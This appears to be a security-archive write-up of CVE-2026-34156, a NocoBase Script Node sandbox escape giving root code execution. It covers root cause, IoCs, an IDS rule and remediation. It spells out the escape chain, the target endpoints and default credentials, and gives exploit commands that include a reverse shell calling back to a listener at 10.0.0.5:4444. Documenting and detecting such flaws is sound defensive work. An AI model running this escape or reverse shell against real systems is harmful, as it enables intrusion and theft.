NocoBase Workflow Script Node vm Sandbox Escape to Root RCE (CVE-2026-34156)
Published: 2026-11-27 • Researcher: Ashraf Zaryouh (0xBlackash), per the script banner; the repository is published under the GitHub account Dhananjayasj
- Severity
- Critical
- CVE
- CVE-2026-34156
- Category
- web
- Affected product
- NocoBase, an AI-powered no-code/low-code platform, specifically the workflow engine Script Node and its Node.js vm sandbox
- Affected versions
- NVD: NocoBase prior to 2.0.28. The upstream README states versions up to 2.0.26; 2.0.27 is not explicitly named by either source.
- Disclosed
- 2026-11-27
- Patch status
- Patched
Tags
References
- https://nvd.nist.gov/vuln/detail/CVE-2026-34156
- https://github.com/nocobase/nocobase/security/advisories/GHSA-px3p-vgh9-m57c
- https://github.com/nocobase/nocobase/pull/8967
- https://github.com/nocobase/nocobase/releases/tag/v2.0.28
- https://github.com/Dhananjayasj/CVE-2026-34156-NocoBase-Sandbox-Escape-via-Workflow-Execution-Vulnerability-
- https://cwe.mitre.org/data/definitions/913.html
Archive entry
intelseclab/poc-archiveOn this page
Metadata
| Field | Value |
|---|---|
| Date Added | 2026-11-27 |
| Last Updated | 2026-06-02 (upstream commit 9e7b82c87cc2f62160a044a29cf5eb90d099cd30, “Create README.md”) |
| Author / Researcher | Ashraf Zaryouh (0xBlackash), per the script banner; the repository is published under the GitHub account Dhananjayasj |
| CVE / Advisory | CVE-2026-34156 |
| Category | web |
| Severity | Critical |
| CVSS Score | 9.9 (CVSSv3.1, AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H, NVD record). The upstream README badge label reads 8.8 High, but the vector printed next to it evaluates to 9.9 and matches the NVD score. |
| Status | PoC (the sandbox escape payload is genuine and complete, but the node-test delivery path is unverified, success detection is weak and no successful run is documented) |
| Tags | nocobase, nodejs, vm-sandbox-escape, workflow, script-node, authenticated, rce, cwe-913, prototype-chain, container-root |
| Related | N/A |
Affected Target
| Field | Value |
|---|---|
| Software / System | NocoBase, an AI-powered no-code/low-code platform, specifically the workflow engine Script Node and its Node.js vm sandbox |
| Versions Affected | NVD: NocoBase prior to 2.0.28. The upstream README states versions up to 2.0.26; 2.0.27 is not explicitly named by either source. |
| Language / Platform | Node.js server executing JavaScript workflow scripts; the archived PoC is Python 3 |
| Authentication Required | Yes — any authenticated user able to create and execute a workflow Script Node (the script defaults to the seeded admin account) |
| Network Access Required | Yes — HTTP/HTTPS access to the NocoBase API (default port 13000) |
Summary
NocoBase executes user-supplied workflow Script Node JavaScript inside a Node.js vm sandbox that is supposed to restrict which modules the script may require. However, the console object placed into the sandbox exposes host-realm writable stream objects through its stdout and stderr members. An authenticated user can walk from those host objects through their constructors back into the host Function constructor, recover the process object and load the child process module to run arbitrary operating system commands. The published script builds exactly that escape and posts it to the workflow node test endpoint; NocoBase fixed it in version 2.0.28, and exploitation gives remote code execution as root inside the container, with full host compromise if the container is privileged.
Vulnerability Details
Root Cause
The Workflow Script Node runs attacker-controlled JavaScript in a Node.js vm context and restricts imports with a custom require allowlist controlled by the WORKFLOW_SCRIPT_MODULES environment variable (CWE-913, Improper Control of Dynamically-Managed Code Resources). The sandbox context also receives a console object, and console._stdout and console._stderr are host-realm WritableWorkerStdio stream instances rather than sandbox-realm objects. Because the constructor chain of a host object terminates in the host realm Function constructor, a script can call console._stdout.constructor.constructor("return process")() to obtain the real process object, then process.mainModule.require("child_process") to load a module that the require allowlist was meant to block. From there execSync runs shell commands with the privileges of the Node.js server process, which the advisory describes as root.
Attack Vector
An authenticated HTTP flow. The archived script first posts credentials to /api/auth:signIn and takes the bearer token, then posts a JSON body of the form {"type":"script","config":{"script":<payload>},"upstreamResult":{}} to /api/flow_nodes:test. In a real deployment the same JavaScript is placed in a Script Node of a workflow and the workflow is triggered. The escape itself needs no memory corruption, race or user interaction; it is a short pure-JavaScript prototype-chain walk.
Impact
Remote code execution as root inside the NocoBase container. An attacker can read application data and secrets, modify or delete records, reach internal services from the container network and, where the container is privileged, mounted with host paths or running with host networking, escape to the underlying host. The advisory notes that the affected configuration is the default for a workflow-enabled instance.
Environment / Lab Setup
OS: Linux attacker host (Python 3.8+); target NocoBase container
Target: NocoBase < 2.0.28, e.g. 2.0.26, workflow plugin enabled,
reachable on the default HTTP port 13000
Attacker: Python 3 with requests; netcat for the reverse-shell variant
Tools: requests, curl, ncSetup Steps
| |
The default credentials used by the script are admin@nocobase.com / admin; change them in any non-lab deployment and pass real values with -e and -p. The workflow plugin must be enabled, and the account must be permitted to create or test workflow nodes.
Proof of Concept
Step-by-Step Reproduction
Install the dependency — the script only needs
requests.Shell script1python3 -m pip install requestsRun a single command — the script logs in, builds the escape payload and posts it to the node test endpoint.
Shell script1 2 3 4python3 CVE-2026-34156.py \ -u http://127.0.0.1:13000 \ -e admin@nocobase.com -p admin \ -c idOr request a reverse shell — start a listener first, then pass the callback address.
Shell script1 2nc -lvnp 4444 python3 CVE-2026-34156.py -u http://127.0.0.1:13000 -r 10.0.0.5:4444Confirm execution — the HTTP response may or may not carry the command output depending on the build. Confirm with the reverse-shell connection, the container process tree or the container logs rather than trusting the script’s success message alone.
Exploit Code
See
CVE-2026-34156.pyin this folder. The upstream README isupstream-README.md.
| |
Expected Output
| |
The last two lines are printed for any 2xx response with a non-empty body, so they are a delivery indicator and not proof of execution. A successful escape shows the command effect instead: a shell on the listener, uid=0(root) in container logs or a process spawned by the Node.js worker.
Detection & Indicators of Compromise
POST /api/flow_nodes:test with a JSON body containing script config
POST /api/auth:signIn from unexpected sources followed by workflow node tests
console._stdout console._stderr constructor.constructor
process.mainModule require("child_process") execSync
Node.js worker processes spawning sh, bash, curl, wget or reverse-shell binaries
New outbound TCP connections from the NocoBase container to unexpected hosts
Unexpected writes under /tmp or the application data directorySearch workflow and flow-node records for scripts that reference _stdout, _stderr, constructor.constructor or mainModule, since a persisted malicious workflow can be triggered later without repeating the API call.
SIEM / IDS Rule (example):
alert http any any -> any any (msg:"Possible CVE-2026-34156 NocoBase sandbox escape payload"; flow:to_server,established; content:"/api/flow_nodes:test"; http_uri; content:"constructor.constructor"; http_client_body; nocase; sid:90341560; rev:1;)Remediation
| Action | Detail |
|---|---|
| Patch | Upgrade NocoBase to 2.0.28 or later; the fix is in pull request 8967 and the 2.0.28 release. |
| Workaround | Disable the workflow Script Node for untrusted roles, restrict workflow creation to a small administrator group, and remove or audit existing script nodes. |
| Config Hardening | Run the NocoBase container as a non-root user with a read-only root filesystem and no host mounts, apply egress filtering, keep WORKFLOW_SCRIPT_MODULES as narrow as possible (it limits imports but does not prevent this escape by itself), and monitor workflow records for injected JavaScript. |
References
Notes
Auto-prepared on 2026-11-27 from https://github.com/Dhananjayasj/CVE-2026-34156-NocoBase-Sandbox-Escape-via-Workflow-Execution-Vulnerability- (no stars at review time, a single Python script plus a README).
Review verdict: ingested as a PoC. It is a real exploit rather than a detector: the vm escape itself is the correct host-realm constructor walk, it authenticates to the real API and it delivers the payload to a workflow node endpoint. It is not a scanner, a version check, a placeholder or a malware framework, and it contains no persistence, C2, evasion or credential-stealing code.
Attribution / provenance: the script banner and the embedded GitHub link credit Ashraf Zaryouh (0xBlackash) and point at github.com/0xBlackash/CVE-2026-34156, while the repository that was reviewed lives under the account Dhananjayasj and the commit author is DHANANJAY S. The code therefore appears to be a republished or mirrored copy of another researcher’s PoC, and the original authorship cannot be confirmed from this repository alone. The upstream README is also truncated mid-code-block at the installation section, and was copied verbatim as upstream-README.md to preserve that state.
License: the repository declares no LICENSE file, so copyright remains with the author and no reuse rights are granted. The archived files keep the original attribution and add only a short research-use header.
Limitations: the script posts directly to /api/flow_nodes:test and does not create a workflow or add a Script Node, despite its own comment that a real attack creates the workflow through the UI or API; whether that endpoint accepts this body on a given build is unverified. Its success check if "stdout" in resp.text or resp.text is always true for a non-empty body, so a 200 response prints the success message regardless of whether the script ran. The login endpoint, token field and default credentials are hardcoded assumptions. Reverse-shell mode builds a bash /dev/tcp command without quoting the address. No exploit code was executed while preparing this entry, so the status is PoC rather than Weaponized. The CVSS badge in the upstream README is internally inconsistent as noted in the metadata table.
| |